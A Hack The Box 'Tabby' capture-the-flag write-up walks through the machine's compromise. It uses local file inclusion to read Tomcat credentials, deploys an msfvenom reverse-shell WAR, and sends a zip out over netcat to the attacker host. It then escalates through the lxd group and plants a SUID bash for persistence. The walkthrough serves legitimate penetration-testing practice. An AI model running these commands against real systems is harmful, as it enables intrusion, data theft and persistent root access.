Hack The Box - Tabby
Introduction
Tabby is an easy box. It is rated 4.2, which is decent for an easy machine. I exploited a local file inclusion (LFI) to read tomcat credentials and then get a reverse shell. I found a backup archive on the machine, cracked it and found more credentials. The new user was part of the lxd group, this was exploited to gain root privileges. So let’s start enumerating the machine.
Enumeration
As always, I first start with a Nmap scan.
Nmap Scan
For this task, I use the nmap automator, here are the results of the full scan:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ sudo /tools/nmapAutomator/nmapAutomator.sh -H tabby.htb -t All
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
On the open port, the automator will perform a script scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service Enumeration
The automator also performed a FFuF scan:
.hta [Status: 403, Size: 274, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 274, Words: 20, Lines: 10]
[Status: 200, Size: 14175, Words: 2135, Lines: 374]
.htaccess.php [Status: 403, Size: 274, Words: 20, Lines: 10]
.hta.php [Status: 403, Size: 274, Words: 20, Lines: 10]
.php [Status: 403, Size: 274, Words: 20, Lines: 10]
.htpasswd.php [Status: 403, Size: 274, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 274, Words: 20, Lines: 10]
assets [Status: 301, Size: 307, Words: 20, Lines: 10]
favicon.ico [Status: 200, Size: 766, Words: 8, Lines: 2]
files [Status: 301, Size: 306, Words: 20, Lines: 10]
index.php [Status: 200, Size: 14175, Words: 2135, Lines: 374]
index.php [Status: 200, Size: 14175, Words: 2135, Lines: 374]
news.php [Status: 200, Size: 0, Words: 1, Lines: 1]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10]
I visit the home page. When clicking on news, I get redirected to another domain called megahosting.htb, which I quickly added to the hosts file. None of the files above are interesting. So I scanned the files directory and found one dir called archive, which I cannot access.
So I scan port 8080:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ python3 /tools/dirsearch.py -u http://megahosting.htb:8080 -e php,html -x 404 -t 50
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, html | HTTP method: GET | Threads: 50 | Wordlist size: 9395
Output File: /tools/dirsearch/reports/megahosting.htb-8080/_21-09-22_08-16-07.txt
Error Log: /tools/dirsearch/logs/errors-21-09-22_08-16-07.log
Target: http://megahosting.htb:8080/
[08:16:07] Starting:
[08:16:24] 400 - 804B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[08:16:26] 400 - 804B - /a%5c.aspx
[08:16:45] 302 - 0B - /docs -> /docs/
[08:16:46] 200 - 17KB - /docs/
[08:16:47] 302 - 0B - /examples -> /examples/
[08:16:48] 200 - 1KB - /examples/
[08:16:48] 200 - 658B - /examples/servlets/servlet/CookieExample
[08:16:48] 200 - 6KB - /examples/servlets/index.html
[08:16:48] 200 - 949B - /examples/servlets/servlet/RequestHeaderExample
[08:16:48] 200 - 676B - /examples/jsp/snp/snoop.jsp
[08:16:51] 401 - 2KB - /host-manager/html
[08:16:51] 302 - 0B - /host-manager/ -> /host-manager/html
[08:16:52] 200 - 2KB - /index.html
[08:16:57] 401 - 2KB - /manager/status/all
[08:16:58] 401 - 2KB - /manager/html
[08:16:58] 302 - 0B - /manager/ -> /manager/html
[08:16:58] 302 - 0B - /manager -> /manager/
[08:16:58] 401 - 2KB - /manager/html/
Task Completed
I just access the website on port 8080:
It works !
If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!
This is the default Tomcat home page. It can be found on the local filesystem at: /var/lib/tomcat9/webapps/ROOT/index.html
I enumerated more but found nothing, so I took a brake and after that I reproduced everything I found. I noticed a get parameter on the news.php page. Let’s see if it is vulnerable:
Oh yes, it is vulnerable to a local file inclusion. I can use this to gain tomcat credentials.
Exploitation
Normally, tomcat users are defined in /etc/tomcat9/tomcat-users.xml. But this is not the case here, so I installed tomcat9 and searched for the file:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ find / -name tomcat-users.xml 2>&/dev/null
/etc/tomcat9/tomcat-users.xml
/usr/share/tomcat9/etc/tomcat-users.xml
So let’s try to curl the second file:
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
In the second last line, you have a password: $3cureP4s5w0rd123!
. I can now log in as tomcat on the tomcat server. The only page I could access is the host-manager. But there I could not do much. So I tried to curl the forbidden page (/manager):
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' http://megahosting.htb:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:2:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
That worked, so I should now be able to get a reverse shell. But first, I generate a payload. The payload must be a .war file, because that’s what tomcat can work with:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ msfvenom -p java/shell_reverse_tcp lhost=10.10.16.6 lport=443 -f war -o shell.war
Payload size: 13318 bytes
Final size of war file: 13318 bytes
Saved as: shell.war
This file must be uplaoded, this can be done using the deploy command:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' http://megahosting.htb:8080/manager/text/deploy?path=/shell --upload-file shell.war
OK - Deployed application at context path [/shell]
To call the shell, I visit the following path: http://megahosting.htb:8080/shell. Look a the netcat listener, a shell spawned:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.194] 52816
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm
export TERM=xterm
tomcat@tabby:/var/lib/tomcat9$ ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
tomcat@tabby:/var/lib/tomcat9$
I cannot access user ash’s home, so I need to privesc first.
Privesc
tomcat → ash
I let linpeas run to try to find common vulnerabilities:
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31 # was red
---snip---
╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
Edit this file to introduce tasks to be run by cron.
Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task
To define the time you can provide concrete values for
minute (m), hour (h), day of month (dom), month (mon),
and day of week (dow) or use '*' in these fields (for 'any').
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.
Output of the crontab jobs (including errors) is sent through
email to the user the crontab file belongs to (unless redirected).
For example, you can run a backup of all your user accounts
at 5 a.m every week with:
0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # was orange
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: = cap_net_bind_service+eip # was orange
CapInh: 0000000000000400
CapPrm: 0000000000000400
CapEff: 0000000000000400
CapBnd: 0000003fffffffff
CapAmb: 0000000000000400
I think none of them will work, so I just check the web directory:
tomcat@tabby:/var/www/html/files$ ls -l
total 28
-rw-r--r-- 1 ash ash 8716 Jun 16 2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19 14:10 archive
drwxr-xr-x 2 root root 4096 Aug 19 14:10 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 2020 statement
There is the statement file, which was on the news page and a backup zip. Let’s transfer the zip file to my kali machine and open it:
tomcat@tabby:/var/www/html/files$ md5sum 16162020_backup.zip
f0a0af346ad4495cfdb01bd5173b0a52 16162020_backup.zip
tomcat@tabby:/var/www/html/files$ cat 16162020_backup.zip | nc 10.10.16.6 443
In the netcat listener, I receive the file:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ nc -lvnp 443 > backup.zip
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.194] 53078
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ md5sum backup.zip
f0a0af346ad4495cfdb01bd5173b0a52 backup.zip
The hash confirms that the file was completely transferred. Let’s unzip the file:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ unzip backup.zip
Archive: backup.zip
creating: var/www/html/assets/
[backup.zip] var/www/html/favicon.ico password:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == admin@it
The file was password secured, but I could crack the password. But in the folder there is only trash. So I checked for a password reuse:
tomcat@tabby:/var/www/html/files$ su ash
Password:
ash@tabby:/var/www/html/files$
That worked, I got a shell as ash.
User Flag
I should be able to read the user flag:
ash@tabby:~$ cat user.txt
45**************************0790
ash → root
I created an SSH key to get easier access if something happens to the shell:
ash@tabby:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ash/.ssh/id_rsa):
Created directory '/home/ash/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ash/.ssh/id_rsa
Your public key has been saved in /home/ash/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:SoISCFZYBaUL5Yks34/ZJDUf2Y95n7/tCWJksG4thD8 ash@tabby
The key's randomart image is:
+---[RSA 3072]----+
|..+=+o |
|=.+ o o |
|++ + o o.. |
|.o.o.. o..o+ |
|. o.+ o.Soooo |
| . X .+ +. . . |
| o + E + .o |
| . + . ..o|
| +=|
+----[SHA256]-----+
ash@tabby:~$ cd .ssh
ash@tabby:~/.ssh$ ls
id_rsa id_rsa.pub
ash@tabby:~/.ssh$ cp id_rsa.pub authorized_keys
ash@tabby:~/.ssh$ ls
authorized_keys id_rsa id_rsa.pub
Now, transfer the key and login:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ chmod 600 id_rsa
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ ssh ash@tabby.htb -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 22 Sep 2021 01:15:31 PM UTC
System load: 0.0 Processes: 230
Usage of /: 47.8% of 6.82GB Users logged in: 0
Memory usage: 35% IPv4 address for ens160: 10.10.10.194
Swap usage: 0%
283 updates can be installed immediately.
152 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue May 19 11:48:00 2020
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),116(lxd)
I saw that the user is member of the lxd group. Linpeas also showed this orange-red when I ran it. This blog post helped a lot, but there where some commands that I had to use that differ the blog post, in order to get it to work. I will make a note when this is the case:
I can escalate my privileges using a tool from Github:
GitHub - saghul/lxd-alpine-builder: Build Alpine Linux images for LXD
Run it and copy the generated zip file to the machine, then use lxc to import that image:
ash@tabby:/tmp$ lxc image import ./alpine-v3.14-x86_64-20210922_1521.tar.gz --alias myimage
Image imported with fingerprint: 00a6b022e7f5c6e68da55385e6b19b9f3bfe09531431677416c51d792ce991a3
ash@tabby:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | 00a6b022e7f5 | no | alpine v3.14 (20210922_15:21) | x86_64 | CONTAINER | 3.10MB | Sep 22, 2021 at 1:37pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
Now, initialize the image (you can use the default) (NOTE: this command is not from the blog post, but without the command it did not work on when I tried it):
ash@tabby:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, zfs, ceph) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
You need to create a container for this image:
ash@tabby:/tmp$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
I want to mount parts of the host system into the image, this is done by using a device:
ash@tabby:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
It’s time to start the container and get a root shell:
ash@tabby:/tmp$ lxc start mycontainer
ash@tabby:/tmp$ lxc exec mycontainer /bin/sh
~ # id
uid=0(root) gid=0(root)
Here is the root shell. To access the file system, you can change the directory to /mnt/root
:
~ # ls
~ # cd /mnt/root
/mnt/root # ls
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
Gain Persistency
If the lxc image would crash, that would be a pain to reproduce all these steps. So I just create rootbash (copy of bash with SUID bit set):
/mnt/root # cp bin/bash tmp
/mnt/root # cd tmp
/mnt/root/tmp # ls
alpine-v3.14-x86_64-20210922_1521.tar.gz systemd-private-7b49dcee301d494282fa755492577113-systemd-resolved.service-ZbqZtg
bash systemd-private-7b49dcee301d494282fa755492577113-systemd-timesyncd.service-vHvpQf
snap.lxd systemd-private-7b49dcee301d494282fa755492577113-tomcat9.service-5zlOQg
systemd-private-7b49dcee301d494282fa755492577113-apache2.service-FYV4fh tmux-1000
systemd-private-7b49dcee301d494282fa755492577113-systemd-logind.service-kmw5Uh vmware-root_730-2999460803
/mnt/root/tmp # chmod +s bash
/mnt/root/tmp # mv bash rootbash
/mnt/root/tmp # ls -l rootbash
-rwsr-sr-x 1 root root 1183448 Sep 22 13:48 rootbash
I could not see the file inside of tmp, so I moved it to /home (which is not the most hidden spot):
tomcat@tabby:/tmp$ cd /home
tomcat@tabby:/home$ ls
ash rootbash
tomcat@tabby:/home$ ./rootbash -p
rootbash-5.0# id
uid=997(tomcat) gid=997(tomcat) euid=0(root) egid=0(root) groups=0(root),997(tomcat)
I execute the binary with the -p
flag and got root access again.
Root Flag
It’s time to get the root flag:
rootbash-5.0# cat root.txt
1e**************************3c66
Other Ways To Privesc
There is a much faster way of doing the privesc. I found this method in a write up by 0xdf:
m0noc found a way to delete as much as possible from the container, it’s now only a 656 byte string. It now works like this (This is copied from the write up above):
Now I can just echo this string into base64 -d
and save it as a file, creating the 656 byte image:
ash@tabby:/dev/shm$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
ash@tabby:/dev/shm$ ls -l
total 4
-rw-rw-r-- 1 ash ash 656 Nov 4 12:40 bob.tar.bz2
If you haven’t already done it above, you should now run lxd init
and accept all the defaults to initialize:
ash@tabby:/dev/shm$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
Now, import the image, create it, add the host file system, and start the image:
ash@tabby:/dev/shm$ lxc image import bob.tar.bz2 --alias bobImage
ash@tabby:/dev/shm$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
ash@tabby:/dev/shm$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
ash@tabby:/dev/shm$ lxc start bobVM
With success there, I can get a shell and access the root filesystem and the flag:
ash@tabby:/dev/shm$ lxc exec bobVM -- /bin/sh
# cd /r
# ls
bin dev lib libx32 mnt root snap sys var
boot etc lib32 lost+found opt run srv tmp
cdrom home lib64 media proc sbin swap.img usr
# cd root
# ls
root.txt snap
# cat root.txt
1e**************************3c66